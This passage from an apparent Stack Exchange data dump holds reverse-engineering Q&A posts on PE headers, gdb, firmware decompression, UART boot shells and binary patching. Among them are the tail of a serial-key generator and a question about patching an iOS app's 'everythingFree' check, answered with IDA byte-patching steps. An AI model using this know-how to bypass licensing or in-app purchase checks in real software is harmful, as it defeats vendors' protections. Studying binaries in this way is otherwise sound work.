&quot;Generating Input was &quot; &amp;lt;&amp;lt; (genInput(genData, key, input) ? &quot;successfull\n&quot; : &quot;unsuccessful\n&quot;);&#xA;  for (int j = 0; j &amp;lt; 4; j++) {&#xA;            std::cout &amp;lt;&amp;lt; input[j] &amp;lt;&amp;lt; &quot; &quot;;&#xA;    }&#xA;    std::cout &amp;lt;&amp;lt; &quot;\n&quot;;&#xA;&#xA;  std::cout &amp;lt;&amp;lt; (ValidateSerials(genData, key, input) ? &quot;true&quot; : &quot;false&quot;);&#xA;&#xA;  return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;finalCorrectSerial[0] (66) has a subset (indices): 0 1 2 &#xA;finalCorrectSerial[1] (5) has a subset (indices): 2 3 6 &#xA;finalCorrectSerial[2] (4) has a subset (indices): 2 3 &#xA;finalCorrectSerial[3] (5) has a subset (indices): 2 3 6 &#xA;Generating Input was successfull&#xA;112 25 24 25 &#xA;true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22734" LastActivityDate="2019-08-31T15:46:16.410" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22013" PostTypeId="1" AcceptedAnswerId="22023" CreationDate="2019-08-31T21:32:45.100" Score="1" ViewCount="146" Body="&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-bindimageex&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs&lt;/a&gt;.&#xA;If I understand this correctly, this function pre-computes virtual addresses of imported DLLs and writes them to the IAT of an image (provided that &lt;code&gt;BIND_NO_UPDATE&lt;/code&gt; is not set as parameter). My understanding is that you do this to an image (on file) to make it start faster.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does the windows loader know that the image has already been bound (and that it does not need to compute virtual addresses)?&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#dll-characteristics&quot; rel=&quot;nofollow noreferrer&quot;&gt;DllCharacteristics&lt;/a&gt; in a PE file (in the optional header), there is a flag called &lt;code&gt;NO_BIND&lt;/code&gt;. Does &lt;code&gt;BindImageEx&lt;/code&gt; fail if this is set?&lt;/li&gt;&#xA;&lt;li&gt;What is the difference between &lt;code&gt;BIND_NO_BOUND_IMPORTS&lt;/code&gt; and &lt;code&gt;BIND_NO_UPDATE&lt;/code&gt; if the only updating it does is to the IAT?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17795" LastActivityDate="2019-09-01T21:26:33.793" Title="What does BindImageEx actually do?" Tags="|windows|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22015" PostTypeId="2" ParentId="21332" CreationDate="2019-09-01T13:43:30.210" Score="1" Body="&lt;p&gt;I had the same problem following the &quot;Art of exploitation&quot; book. As @julian said, you will need to disassemble &lt;strong&gt;after&lt;/strong&gt; you reached the breakpoint such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;start gdb&lt;/li&gt;&#xA;&lt;li&gt;add breakpoint&lt;/li&gt;&#xA;&lt;li&gt;run&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;disassemble&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q firstprog&#xA;Reading symbols from firstprog...done.&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x642: file main.c, line 6.&#xA;(gdb) run&#xA;Starting program: /home/bin/Debug/firstprog &#xA;&#xA;Breakpoint 1, main () at main.c:6&#xA;6     for(i = 0; i &amp;lt; 10; i++) {&#xA;(gdb) disassemble main&#xA;Dump of assembler code for function main:&#xA;   0x000055555555463a &amp;lt;+0&amp;gt;:   push   rbp&#xA;   0x000055555555463b &amp;lt;+1&amp;gt;:   mov    rbp,rsp&#xA;   0x000055555555463e &amp;lt;+4&amp;gt;:   sub    rsp,0x10&#xA;=&amp;gt; 0x0000555555554642 &amp;lt;+8&amp;gt;:   mov    DWORD PTR [rbp-0x4],0x0&#xA;   0x0000555555554649 &amp;lt;+15&amp;gt;:  jmp    0x55555555465b &amp;lt;main+33&amp;gt;&#xA;   0x000055555555464b &amp;lt;+17&amp;gt;:  lea    rdi,[rip+0xa2]        # 0x5555555546f4&#xA;   0x0000555555554652 &amp;lt;+24&amp;gt;:  call   0x555555554510 &amp;lt;puts@plt&amp;gt;&#xA;   0x0000555555554657 &amp;lt;+29&amp;gt;:  add    DWORD PTR [rbp-0x4],0x1&#xA;   0x000055555555465b &amp;lt;+33&amp;gt;:  cmp    DWORD PTR [rbp-0x4],0x9&#xA;   0x000055555555465f &amp;lt;+37&amp;gt;:  jle    0x55555555464b &amp;lt;main+17&amp;gt;&#xA;   0x0000555555554661 &amp;lt;+39&amp;gt;:  mov    eax,0x0&#xA;   0x0000555555554666 &amp;lt;+44&amp;gt;:  leave  &#xA;   0x0000555555554667 &amp;lt;+45&amp;gt;:  ret    &#xA;End of assembler dump.&#xA;(gdb) info register rip&#xA;rip            0x555555554642 0x555555554642 &amp;lt;main+8&amp;gt;&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now the instruction pointer register (RIP because it's 64bit in my case) points to the same address as the main's breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="29476" LastActivityDate="2019-09-01T13:43:30.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22016" PostTypeId="1" AcceptedAnswerId="22022" CreationDate="2019-09-01T14:07:48.630" Score="0" ViewCount="412" Body="&lt;p&gt;SizeOfHeapReserve and SizeOfHeapCommit are in the optional header of windows executables. They are set to 0x100000 and 0x1000 respectively in most executables (my firefox has 0x40000 as reserve for example). The &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-windows-specific-fields-image-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; just say it is &quot;The size of the local heap space to reserve/commit&quot;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do executables ever get a pointer to this reserved heap space? I thought they always needed to call &lt;code&gt;HeapAlloc&lt;/code&gt; / &lt;code&gt;VirtualAlloc&lt;/code&gt; to get heap space?&lt;/li&gt;&#xA;&lt;li&gt;How do linkers decide what to set these values to?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17795" LastActivityDate="2019-09-01T19:56:27.313" Title="PE Header: What do SizeOfHeapCommit and SizeOfHeapReserve do?" Tags="|windows|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22017" PostTypeId="2" ParentId="21981" CreationDate="2019-09-01T14:37:17.503" Score="4" Body="&lt;p&gt;&lt;strong&gt;Basics&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had look at your image file and, as the answer to your previous question said, the compression is something like LZSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the compressed data begins with a flag byte. Each bit of this in turn (from bit 0 to bit 7) indicates that the next decompressed byte(s) are generated by -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(when the flag bit is 1) copying a single literal byte from the compressed data stream or&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(when the flag bit is 0) copying between 3 and 18 bytes from earlier in the decompressed data stream.  The length and location of these bytes are encoded in 2 bytes in the compressed data stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose these 2 bytes are (in hex using dummy characters) &lt;code&gt;0xPQ&lt;/code&gt; and &lt;code&gt;0xRS&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the length of the data to copy is &lt;code&gt;3 + 0xS&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the offset of the data to copy is &lt;code&gt;18 + 0xRPQ&lt;/code&gt;  (using unsigned integer arithmetic modulo 0x1000)&lt;/li&gt;&#xA;&lt;li&gt;the offsets appear to be into a 4k circular buffer of the most recently decompressed data&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at decompressing the data at offset 0x0008D38E in the image to storage at address 0x0006E720 (assuming the earlier data has already been decompressed.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;compressed data                                              decompressed data&#xA;&#xA;0008D68E: 7D (flag byte 0b01111101)&#xA;             45                        literal byte          0x0006E720: 45&#xA;             D2 60                     3 bytes from 0x6E4    0x0006E721: 6D 65 72   (i.e. copied from 0x0006E6E4)&#xA;             67 65 6E 63 79            literal bytes         0x0006E724: 67 65 6E 63 79 &#xA;             DA 50                     3 bytes from 0x5EC    0x0006E729: 20 4C 6F  (i.e. copied from 0x0006E5EC)&#xA;&#xA;0008D699: FF (flag byte 0b11111111)&#xA;             6F 70 20 54 65 73 74 20   literal bytes         0x0006E72C: 6F 70 20 54 65 73 74 20&#xA;&#xA;0008D6A2: 33 (flag byte 0b00110011)&#xA;             4F 4E                     literal bytes         0x0006E734: 4F 4E&#xA;             08 7F                     18 bytes from 0x71A   0x0006E736: 0D 0A 00 00 00 00 45 6D 65 72 67 65 6E 63 79 20 4C 6F &#xA;             1A 76                     9 bytes from 0x72C    0x0006E748: 6F 70 20 54 65 73 74 20 4F (i.e. copied from 0x0006E72C)&#xA;             46 46                     literal bytes         0x0006E751: 46 46&#xA;             65 22                     4 bytes from 0x277    0x0006E753: 0D 0A 00 00 00&#xA;             06 35                     8 bytes from 0x318    0x0006E758: 45 30 34 0D 0A 00 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the decompressed data we see -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0006E720: &quot;Emergency Loop Test ON\r\n&quot;&#xA;0x0006E73C: &quot;Emergency Loop Test OFF\r\n&quot;&#xA;0x0006E758: &quot;E04\r\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the whole file is not compressed but contains a couple of compressed regions beginning at offsets &lt;code&gt;0x00010000&lt;/code&gt; and &lt;code&gt;0x00040000&lt;/code&gt;.&lt;br&gt;&#xA;Each compressed region appears to begin with a 4 byte/32 bit value containing the length of the compressed data.  These lengths are followed by the compressed data as described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus Note&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image search for the name of the device in question along with the 'main board' produces a result with a clearly visible Renesas R8A77240D500BGY.  This is an MCU in the Renesas SH7724 family containing a SH-4A RISC CPU core.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2019-09-27T23:28:49.163" LastActivityDate="2019-09-27T23:28:49.163" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22018" PostTypeId="1" CreationDate="2019-09-01T17:29:53.963" Score="0" ViewCount="72" Body="&lt;p&gt;For a self-learning project, I want to patch an exe file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a firmware updater (exe file) that updates a 20-year old DVD drive (Matsushita model SW-9586-T).&#xA;I own a commercial version of the drive (SW-9586-C) and the software updater does not update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to patch the exe file to force the flashing of any drive, but I don't know where to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is decompiling &gt; Modifying &gt; Recompiling the firmware updater a good or bad idea ?&lt;/p&gt;&#xA;" OwnerUserId="29478" LastActivityDate="2019-10-02T12:00:45.160" Title="Force a firmware updater to flash any drive model" Tags="|exe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22021" PostTypeId="2" ParentId="21993" CreationDate="2019-09-01T18:41:36.290" Score="2" Body="&lt;p&gt;So you're trying to get a boot shell. To do what? Are you trying to dump the flash memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you say that you don't have the option to boot into shell, but the text from your dump says otherwise:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Please choose the operation: &#xA;&#xA;   1: Load system code to SDRAM via TFTP. &#xA;&#xA;   2: Load system code then write to Flash via TFTP. &#xA;&#xA;   3: Boot system code via Flash (default).&#xA;&#xA;   4: Entr boot command line interface.&#xA;&#xA;   7: Load Boot Loader code then write to Flash via Serial. &#xA;&#xA;   9: Load Boot Loader code then write to Flash via TFTP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you press '4', you should get a boot shell. Have you tried this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are pressing a number (followed by enter) and it doesn't seem to respond, I'd double check that your UART bridge is actually sending your keypresses over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, you have a few other avenues you can take. You could try connecting directly to the flash chip's I/O pins and using something like a Bus Pirate with &lt;a href=&quot;https://www.flashrom.org/Flashrom&quot; rel=&quot;nofollow noreferrer&quot;&gt;flashrom&lt;/a&gt; to read the firmware straight off the chip. From there, you can start reverse engineering the firmware a bit to understand the boot process. You may even be able to modify the firmware to give you a boot shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing could try is finding a JTAG connection on the board. If you do, you can try talking to the microprocessor with OpenOCD and from there you can do pretty much whatever you want - you control the processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure how you're jumpering VCC to your flash memory chip, but I'd be careful doing anything to the flash chip that it wasn't designed for - you don't want to fry it, right?&lt;/p&gt;&#xA;" OwnerUserId="17613" LastEditorUserId="17613" LastEditDate="2019-09-01T19:45:04.427" LastActivityDate="2019-09-01T19:45:04.427" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22022" PostTypeId="2" ParentId="22016" CreationDate="2019-09-01T19:56:27.313" Score="1" Body="&lt;p&gt;Size Of Heap by Default is 1MB Reserve and 1KB commit   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;these can be changed by using linker option &lt;strong&gt;/HEAP:&amp;lt;reserve&amp;gt;,commit&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During Initialization of Process system/loader/os  Creates a Process Heap for Each Process &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the SizeOfHeapCommit and Reserve Changes the Size of this ProcessHeap &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Address Heap Thus Allocated During Process Creation is Available to the Process in &#xA;&lt;strong&gt;Process Environment Block or peb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_PEB @$peb -y ProcessH&#xA;&#xA;   +0x018 ProcessHeap : 0x004e0000 Void&#xA;   +0x090 ProcessHeaps : 0x76fb7500  -&amp;gt; 0x004e0000 Void&#xA;&#xA;0:000&amp;gt; !heap -stat 4e0000&#xA;_HEAP 004e0000&#xA;     Segments            00000001&#xA;         Reserved  bytes 00a00000  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;         Committed bytes 00a00000  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;                           exe was compiled with /link /HEAP:10485760,10485760&#xA;     VirtAllocBlocks     00000000&#xA;         VirtAlloc bytes 00000000&#xA;_HEAP 00020000&#xA;     Segments            00000001&#xA;         Reserved  bytes 00010000&#xA;         Committed bytes 00001000&#xA;     VirtAllocBlocks     00000000&#xA;         VirtAlloc bytes 00000000&#xA;&#xA;0:000&amp;gt; .shell -ci &quot;!dh ten&quot; grep -i &quot;size of heap&quot;&#xA;&#xA;00a00000 size of heap reserve&#xA;00a00000 size of heap commit&#xA;.shell: Process exited&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-01T19:56:27.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22023" PostTypeId="2" ParentId="22013" CreationDate="2019-09-01T21:26:33.793" Score="1" Body="&lt;p&gt;Windows Loader Knows the import is bound because bind process also writes a timestamp of the bounded module    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose x.exe is bound to y.dll&lt;br&gt;&#xA;y.dll has a TimeDateStamp in it peheader&lt;br&gt;&#xA;when bound it writes the TimeDateStamp of y.dll in the&lt;br&gt;&#xA;&lt;strong&gt;_IMAGE_BOUND_IMPORT_DESCRIPTOR&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ole32!_IMAGE_BOUND_IMPORT_DESCRIPTOR&#xA;   +0x000 TimeDateStamp    : Uint4B&#xA;   +0x004 OffsetModuleName : Uint2B&#xA;   +0x006 NumberOfModuleForwarderRefs : Uint2B&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Api in Question has a callback StatusRoutine that will be called during the Binding Process&lt;br&gt;&#xA;when you Pass noupdate the call back will still be called&lt;br&gt;&#xA;you can do some inspection and may be take actions there but leave the exe un affected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIND_NO_BOUND_IMPORTS  does not write a new ImportTable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-bindimageex&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quoting From Docs&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BIND_NO_BOUND_IMPORTS 0x00000001&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Do not generate a new import address table.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BIND_NO_UPDATE 0x00000002&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Do not make changes to the file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-01T21:26:33.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22024" PostTypeId="1" CreationDate="2019-09-01T22:59:25.357" Score="1" ViewCount="43" Body="&lt;p&gt;There is firewire photo film scanner Konica-minolta (scanner part of the minilab) that is standard mashine vision firewire linescan camera, connected to controler that deal with motor film fee, light, switches and buttons. Mostly controler is transparent to the camera commands and intercept only controler commands. As usually there are no any documentation - its 10+ years  old (somewhere from 2006). &#xA;  Question is how to reverse engineer commands sent from crappy windows xp software to the scanner? How to distinguish camera commands from controler commands? I dont know the camera model and cant imagine how to get it, may be by some command? I suppose that the camera support one of the standards for mashine vision, but which one? I tried to search for free or affordable firewire debbuging solutions, but no success. How to distinguish firewire commands (to/from scanner) from big data (ie image sent from scanner data's)? &#xA;Final goal is to make linux standalone driver. Hope to have only useful answers.   &lt;/p&gt;&#xA;" OwnerUserId="29480" LastActivityDate="2019-09-01T22:59:25.357" Title="Firewire film scanner" Tags="|firmware-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22026" PostTypeId="1" AcceptedAnswerId="22031" CreationDate="2019-09-02T04:00:30.013" Score="2" ViewCount="6037" Body="&lt;p&gt;I dont understand how people are finding offsets, So I want to know if there's a simple and easy method of just &amp;quot;patching values&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I've been surfing the internet looking for VERY in depth tutorials on editing Assembly for ios apps, but it seems that either the tutorials are too difficult and vague, or are broken and old.&lt;/p&gt;&#xA;&lt;p&gt;for example, how can I patch this function so it returns true rather than false:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;; bool __cdecl -[ScrollingListTradePortal everythingFree](ScrollingListTradePortal *self, SEL)&#xA;__ScrollingListTradePortal_everythingFree_&#xA;ADRP            X8, #_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGE ; bool everythingFree;&#xA;LDRSW           X8, [X8,#_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGEOFF] ; bool everythingFree;&#xA;LDRB            W8, [X0,X8]&#xA;AND             W0, W8, #1&#xA;RET&#xA;; End of function -[ScrollingListTradePortal everythingFree]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29482" LastEditorUserId="29482" LastEditDate="2022-02-01T20:22:11.230" LastActivityDate="2022-02-01T20:22:11.230" Title="Using IDA Pro, How can I just &quot;edit&quot; values, Rather than patching Offsets," Tags="|ida|assembly|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22029" PostTypeId="2" ParentId="22018" CreationDate="2019-09-02T11:43:55.133" Score="1" Body="&lt;p&gt;You don't need to decompile/recompile it, if you know how to read the assembler code. You just need to find the place in the code, which does the model check, and patch it to let the code execute further. Yet to find, where the check is, you need to know how the model is read from the device. Most probably it's some IDE Disk I/O commands. Thus you need to know how those commands are usually sent, and then search for them in the disassembled code. And so on... This rabbit hole is really deep.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-09-02T11:43:55.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22030" PostTypeId="1" CreationDate="2019-09-02T16:57:44.937" Score="2" ViewCount="266" Body="&lt;p&gt;How can i do several input via rarun2, if my program requares two input?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BBoDu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBoDu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8GTzm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8GTzm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29487" LastEditorUserId="29487" LastEditDate="2019-09-03T03:26:32.610" LastActivityDate="2023-01-12T04:07:35.833" Title="How i can do several input via rarun2?" Tags="|radare2|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22031" PostTypeId="2" ParentId="22026" CreationDate="2019-09-02T19:55:08.470" Score="5" Body="&lt;p&gt;Open the binary in IDA View (assembly view). Place the cursor in the line that you want to patch. Click Edit in menu bar &gt; Patch Program &gt; Change bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BMKXT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMKXT.png&quot; alt=&quot;edit-patch-program-option&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to &quot;Hex View&quot;. Match the assembly mnemonic with the HEX value. This vary with every instruction. For example, &lt;code&gt;cmp [rbp-4], 4&lt;/code&gt; (in X86_64) is shows as &lt;code&gt;83 7D FC 04&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;F2&lt;/kbd&gt; to edit in hex view. Edit the value. Press &lt;kbd&gt;F2&lt;/kbd&gt; another time to apply the change. Check the IDA view to review the change. Now go to Edit &gt; Patch Program &gt; Apply patches to input file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FY4S1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FY4S1.png&quot; alt=&quot;apply-patches-to-input-file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also choose to create a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar question: &lt;a href=&quot;https://stackoverflow.com/q/969901/8928481&quot;&gt;StackOverflow: Edit (patch) a binary file in IDA Pro&#xA;Ask&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2019-09-02T19:55:08.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22032" PostTypeId="1" AcceptedAnswerId="22033" CreationDate="2019-09-03T10:09:01.910" Score="0" ViewCount="259" Body="&lt;p&gt;In Android shared library that heavily protected against debugging, I found following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE32&#xA;ldr pc, [pc, #-4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For me, this instruction looks like &lt;code&gt;NOP&lt;/code&gt;; it just jumps to next instruction in ARM mode. The debugged process crashes on this command, however. I use &lt;code&gt;IDA&lt;/code&gt; to debug the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="18321" LastEditDate="2019-09-03T14:59:54.120" LastActivityDate="2019-09-03T15:06:15.667" Title="Why does this command crash IDA Android native debugger?" Tags="|ida|android|arm|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22033" PostTypeId="2" ParentId="22032" CreationDate="2019-09-03T15:06:15.667" Score="1" Body="&lt;p&gt;This instruction is &lt;strong&gt;not&lt;/strong&gt; a NOP. It reads memory and jumps to the address loaded. If the memory is inaccessible or the loaded address is invalid/non-executable, you will get an exception, so the debugger's behavior is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a NOP-like instruction involving PC in ARM mode would be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD PC, PC, #-4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(likely disassembled as &lt;code&gt;sub pc, pc, #4&lt;/code&gt; or maybe even &lt;code&gt;ADR PC, next_addr&lt;/code&gt; )&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-03T15:06:15.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22034" PostTypeId="1" CreationDate="2019-09-03T20:04:12.510" Score="1" ViewCount="703" Body="&lt;p&gt;I am trying to reverse a 32-bit Win32 GUI application. It was compiled using Visual C++ 6.0 and uses the Win32 API. I am trying to figure out what happens when I click any particular button in the application. The problem is, whenever I stop execution using a debugger (x32dbg) execution is in a Win32 DLL file, not in an application function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to tackle this? How do I determine what happens when I click any particular button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17826" LastActivityDate="2019-09-03T20:04:12.510" Title="Reverse Engineering GUI programs" Tags="|ida|ghidra|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22035" PostTypeId="1" AcceptedAnswerId="22039" CreationDate="2019-09-04T05:58:29.697" Score="2" ViewCount="4698" Body="&lt;p&gt;I've been tinkering with Fallout New Vegas, and have focused on modifying a very simple record that's hardcoded in the game engine. It's called an Imagespace Modifier, which is a very basic shader that can only have a select number of variables adjusted. It can be modified in the editor, but cannot be stopped from being applied to the screen. So even with it's values set to zero, it's still being calculated by the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to try and find the hardcoded function that calls the imagespace modifier. I think I've got it, but I've hit a problem. It uses a JNZ to determine whether or not to process the record, which is a two byte opcode instruction (0F 85). But JMP Near is a single opcode instruction (E9). So I can't just simply patch that word in memory and always skip past the code calling the imagespace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would I need to do in order to fix that, and use JMP instead of JNZ? Note, the framework I'm using to modify the process at runtime uses C++, so it needs to be doable in that language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot: &lt;a href=&quot;https://i.stack.imgur.com/T9xw4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/T9xw4.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29505" LastActivityDate="2019-09-05T03:52:31.607" Title="Patching JNZ (two byte opcode) into JMP near (one byte opcode)?" Tags="|ida|c++|function-hooking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
